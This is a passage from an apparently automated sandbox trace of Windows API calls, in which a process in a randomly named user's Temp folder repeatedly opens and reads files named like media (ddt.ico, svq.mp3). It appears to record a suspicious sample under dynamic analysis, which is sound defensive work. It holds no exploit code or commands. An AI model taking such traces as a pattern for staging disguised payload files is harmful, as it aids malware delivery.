dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.889] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.889] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.889] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.889] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.889] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.889] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.889] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.889] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.890] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.890] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.890] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.890] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.890] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.890] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.890] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.890] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.890] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.890] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.890] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.890] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.891] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.891] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.891] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.891] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.891] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.891] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.891] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.891] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.891] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.891] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.891] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.891] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.892] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.892] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.892] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.892] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.892] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.892] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.892] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.892] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.892] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.892] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.893] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.893] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.893] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.893] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.893] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.893] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.893] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.893] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.893] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.893] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.893] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.893] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.893] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.894] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.894] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.894] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.894] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.894] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.894] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.894] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.894] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.894] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.894] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.894] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.895] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.895] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.895] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.895] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.895] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.895] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.895] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.895] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.896] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.896] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.896] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.896] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.896] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.896] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.896] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.896] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.896] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.897] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.897] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.897] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.897] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.897] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.897] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.897] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.897] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.897] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.897] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.897] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.898] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.898] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.898] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.898] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.898] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.898] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.898] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.898] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.898] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.898] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.898] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.899] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.899] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.899] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.899] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.899] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.899] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", 